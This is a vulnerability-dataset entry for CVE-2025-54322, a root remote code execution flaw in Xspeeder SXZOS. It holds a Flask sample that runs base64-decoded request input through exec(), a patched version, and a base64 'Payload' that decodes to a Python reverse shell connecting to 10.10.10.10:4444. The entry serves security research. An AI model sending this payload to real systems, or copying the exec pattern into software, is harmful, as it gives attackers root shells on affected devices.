CVE-2025-54322
Root RCE in Xspeeder SXZOS via base64-encoded code in the chkid parameter.
- CVSS 9.8
- CWE-94
- Input Validation and Sanitization
- Remote
Xspeeder SXZOS through 2025-12-26 allows root remote code execution via base64-encoded Python code in the chkid parameter to vLogin.py. The title and oIP parameters are also used.
- CWE
- CWE-94
- CVSS base score
- 9.8
- Published
- 2025-12-27
- OWASP
- A03 Injection
- Orthogonal defect classification
- Checking
- Code defect classification
- Missing Check
- Category
- Input Validation and Sanitization
- Subcategory
- Command Injection
- Accessibility scope
- Remote
- Impact
- Arbitrary Code Execution
- Affected component
- Xspeeder SXZ
Solution
No patched version is available.
Vulnerable code sample
import base64
import os
from flask import Flask, request
app = Flask(__name__)
@app.route('/vLogin.py', methods=['POST'])
def vLogin():
# Get parameters required for the check
chkid = request.form.get('chkid')
title = request.form.get('title')
oIP = request.form.get('oIP')
# Log the incoming IP and title for tracking purposes
if title and oIP:
print(f"INFO: ID check for '{title}' from {oIP}")
# The chkid is required for this operation
if chkid:
try:
# The chkid is a base64 encoded command payload
command = base64.b64decode(chkid)
# Run the command to perform the system check
exec(command)
return "Status: OK", 200
except Exception as e:
return f"Execution failed: {e}", 500
else:
return "Error: Missing chkid", 400Patched code sample
import cgi
import base64
import hmac
import hashlib
# In a real application, this key would be loaded from a secure configuration
# store or an environment variable, not hardcoded.
SERVER_SECRET_KEY = b'f8a2-a9d9-4a2c-a8e5-3d3e8a9d9b9c-a8e5-3d3e-VERY-SECRET'
def is_valid_token(user_identifier, token):
"""
Securely validates a token against a user identifier.
This function generates the expected HMAC signature for the user_identifier
and compares it to the provided token in a timing-attack-resistant manner.
Args:
user_identifier (str): The data that was signed (e.g., username).
token (str): The base64-encoded HMAC signature to validate.
Returns:
bool: True if the token is valid, False otherwise.
"""
if not user_identifier or not token:
return False
try:
# Re-generate the expected signature for the given identifier.
expected_mac = hmac.new(
SERVER_SECRET_KEY,
msg=user_identifier.encode('utf-8'),
digestmod=hashlib.sha256
).digest()
expected_token = base64.urlsafe_b64encode(expected_mac).decode('utf-8')
# Use hmac.compare_digest to prevent timing attacks.
return hmac.compare_digest(expected_token, token)
except (ValueError, TypeError):
# Handle malformed tokens or other errors gracefully.
return False
# --- Main script logic (simulating a CGI script like vLogin.py) ---
# This simulates fetching parameters from a web request.
form = cgi.FieldStorage()
# The 'title' parameter is interpreted as the user identifier being authenticated.
# The 'chkid' parameter is the security token to be validated.
# The 'oIP' parameter is for logging/context.
title = form.getvalue('title')
chkid = form.getvalue('chkid')
oIP = form.getvalue('oIP')
# --- DEMONSTRATION OF THE FIX ---
# VULNERABLE CODE (REMOVED AND REPLACED):
# The original, vulnerable code executed the 'chkid' parameter after base64 decoding it.
# This allowed for remote code execution.
#
# if chkid:
# try:
# # DANGEROUS: Decodes and executes untrusted user input.
# decoded_payload = base64.b64decode(chkid).decode('utf-8')
# exec(decoded_payload) # CVE-2025-54322 VULNERABILITY
# except Exception as e:
# print(f"Content-type: text/html\n\nError: {e}")
# FIXED CODE:
# The 'chkid' parameter is now treated as data and validated using a secure
# cryptographic function. The 'exec()' call has been completely removed.
if is_valid_token(user_identifier=title, token=chkid):
# If the token is valid, proceed with the application logic.
print("Content-type: text/html\n")
print("<h1>Login Successful</h1>")
print(f"<p>Access granted for user '{title}' from IP '{oIP}'.</p>")
# (Application logic for a successful login would follow here)
else:
# If the token is invalid, missing, or malformed, deny access.
print("Content-type: text/html\n")
print("<h1>Access Denied</h1>")
print("<p>Invalid or expired session token.</p>")Payload
`aW1wb3J0IHNvY2tldCxvcyxzdWJwcm9jZXNzO3M9c29ja2V0LnNvY2tldChzb2NrZXQuQUZfSU5FVCxzb2NrZXQuU09DS19TVFJFQU0pO3MuY29ubmVjdCgoJzEwLjEwLjEwLjEwJyw0NDQ0KSk7b3MuZHVwMihzLmZpbGVubygpLDApO29zLmR1cDIocy5maWxlbm8oKSwxKTtvcy5kdXAyKHMuZmlsZW5vKCksMik7cD1zdWJwcm9jZXNzLmNhbGwoWycvYmluL3NoJywnLWknXSk7`
Cite this entry
@misc{vaitp:cve202554322,
title = {{Root RCE in Xspeeder SXZOS via base64-encoded code in the chkid parameter.}},
author = {Bogaerts, Fr\'ed\'eric and Ivaki, Naghmeh and Fonseca, Jos\'e},
year = {2025},
note = {VAITP Python Vulnerability Dataset, entry CVE-2025-54322},
howpublished = {\url{https://netpack.pt/vaitp/vulnerability/CVE-2025-54322/}}
}
Introducing the "VAITP dataset": a specialized repository of Python vulnerabilities and patches, meticulously compiled for the use of the security research community. As Python's prominence grows, understanding and addressing potential security vulnerabilities become crucial. Crafted by and for the cybersecurity community, this dataset offers a valuable resource for researchers, analysts, and developers to analyze and mitigate the security risks associated with Python. Through the comprehensive exploration of vulnerabilities and corresponding patches, the VAITP dataset fosters a safer and more resilient Python ecosystem, encouraging collaborative advancements in programming security.
The supreme art of war is to subdue the enemy without fighting.
Sun Tzu – “The Art of War”
:: Shaping the future through research and ingenuity ::
